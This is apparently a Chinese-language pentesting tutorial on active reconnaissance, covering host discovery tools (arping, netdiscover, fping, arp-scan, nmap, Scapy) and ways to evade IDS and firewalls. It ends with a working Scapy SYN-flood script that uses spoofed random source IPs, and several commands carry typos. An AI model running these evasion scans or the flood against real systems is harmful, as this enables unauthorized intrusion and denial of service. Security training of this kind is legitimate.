指通过一定的方式(系统自带命令或者其他工具),直接与目标系统或者主机进行交互通信,以达到收集信息的目的。
主动信息收集的必要条件
主动信息收集的发现过程
识别存活的目标系统或者主机(潜在的攻击目标)。
根据osi的分层,主要在2(数据链路层)/3((网络层)/4(传输层)层进行主机发现。
输出发现结果。
主动信息收集所需信息
在主动信息过程中,可能会存在一定被IPS/IDS检测到,我们可以使用proxychains这款工具来达到代理的效果
或在Windows中使用Proxifier。
下面我来介绍一下,这两款软件的使用
Proxifier 打开-->配置文件-->代理服务器-->设置socks5代理参数-->添加 然后我们系统就会走这个代理传输了 proxychains vim /etc/proxychains4.conf socks5 按一下tab键 ip tab 端口 proxychains 需要代理的一个程序 (默认root权限不行,可以解封root)
在二层发现中,我们可以arping命令来进行发现主机.
Windows使用命令arp /a即可看到局域网IP , arp /a 用于查看高速缓存中的所有项目
在linux中是arping 192.168.181.128 -c 1 C参数是发送次数
实际上是通过2层去ping主机 , 看他存不存活
arping目标IP -w 等待时间
补充: ping命令在windows和linux中都能使用;arping在linux中使用,windowws中不能使用。 主要介绍如下: 1.ping发送ICMP请求包,用来测试主机与目标主机之间的连通性。如果未连通:有可能是物理上的问题,有可能是软件上的(防火墙开启等)问题。 2.arping发送ARP请求包,用来测试某个IP是否被主机使用,以及使用主机的物理地址。
nmap -sn目标网段 // 只进行主机发现,不进行端口扫描 sp 是判断主机存活 一般可能禁止ping
nmap -sA目标网段 // 发送tcp的ack包进行探测
netdiscover专用的二层发现工具。拥有主动和被动发现两种方式。
netdiscover -i 网卡 -r 目标网段 # 主动扫描网段 netdiscover -l 文件路径 # 扫描文件IP netdiscover -p # 被动扫描
用于显示数据包在lP网络中经过的路由器的IP地址。
命令帮助: traceroute --help
常用命令: traceroute 目标域名
Fping程序类似于ping (ping是通过ICMP(网络控制信息协议InternetControl MessageProtocol)协议回复请求以检测主机是否存在)。Fping与ping不同的地方在于,fping可以在命令行中指定要ping的主机数量范围,也可以指定含有要ping的主机列表文件。
fping -aqg //目前最准确的一款工具
是一款kali自带的一款轻量ARP扫描工具,该工具会自动解析MAC地址,得到对应硬件厂商
arp-scan -l 扫描当前网段
Nmap是一款开源免费的网络发现(Network Discovery)和安全审计(Security Auditing)工具。软件名字Nmap是Network Mapper的简称。Nmap最初是由Fyodor在1997年开始创建的。随后在开源社区众多的志愿者参与下,该工具逐渐成为最为流行安全必备工具之一。最新版的Nmap6.0在2012年5月21日发布,
详情请参见: www.nmap.org。
一般情况下,Nmap用于列举网络主机清单、管理服务升级调度、监控主机或服务运行状况。Nmap可以检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。
在主动信息过程中,可能会存在一定被IPS/IDS检测到,我们可以使用proxychains这款工具来达到代理的效果
或在Windows中使用Proxifier。
下面我来介绍一下,这两款软件的使用
nmap --script=firewalk --traceroute目标
nmap -p80 --script http-waf-detect --script-args="http-waf-detect.detectBodyChanges'
www.fujieace.com 防火墙绕过
碎片扫描 nmap -f 主机、nmap -mtu 8
诱饵扫描 nmap -D RND:10主机
空闲扫描 nmap -P0 -sl zombie
随机数据长度扫描 nmap --data-length 25
欺骗性扫描 nmap --sT -PN --spoof-mac aa:bb:cc:dd:ee:ff、nmap --badsum主机、nmap -g 80 -s www.baidu.com主机、nmap -p80 --script http-methods --script-args
http.useragent="Mozilla 5"。
IPCS (Internet Process Connection)是共享“命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$、D$、E$......)和系统目录(C:/windows)共享。所有的这些初衷都是为了方便管理员的管理。但好的初衷并不一定有好的收效 , 一些别有用心者会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具进行密码探测。
为了配合IPC共享工作, Windows操作系统(不包括Windows 98系列)在安装完成后,白动设置共享的目录为:C盘、D盘、E盘、ADMIN目录(C:\Windows)等,即为ADMIN$、C$、D$、E$等,但要注意,这些共享是隐藏的,只有管理员能够对他们进行远程操作。
Scapy是一款强大的交互式数据包处理工具、数据包生成器、网络扫描器、网络发现工昊和包嗅探工具。它提供多种类别的交互式生成数据包或数据包集合、对数据包进行操作、发送数据包、包嗅探、应答和反馈匹配等等功能。
Python解释器提供交互功能,所以要用到Python编程知识(例如variables、loops、和functions)。支持生成报告,且报告生成简单。
使用方法如下:
pkt=IP()/TCP()
pkt=IP(src="192.168.0.133",dst="39.156.69.79")/TCP() 源地址 目标地址 res=sr1(pkt) //接收 res.summary() //查看 sr() //接受全部 send() //只发送 发送两层数据包 srp() srp1() sendp()
a=ARP() a.pdst=”需要检测的主机” sr1(a)
ip=lP()/ICMP() ip.dst="192.168.0.127" sr1(ip)
ip=IP() tcp=TCP() ip.dst="192.168.0.133". ip.dport=8055 tcp.flags='A' sr1(ip/tcp) sr(IP(dst="www.baidu.com")/TCP(dport=[21,80,3389],flags="S")) //端口扫描
很老的一种ip攻击手段
from scapy.all import*import random def synFlood(): for i in range(10000): #构造随机的源IP src='%i.%i.%i.%i'%( random.randint(1,255), random.randint(1,255), random.randint(1,255), random.randint(1,255)) #构造随机的端口 sport=random.randint(1024,65535) IPlayer=IP(src=src ,dst='192.168.37.13') TCPlayer=TCP(sport=sport,dport=80,flags="s") packet=IPlayer /TCPlayer send(packet) if ___name__ == '__main__': synFlood()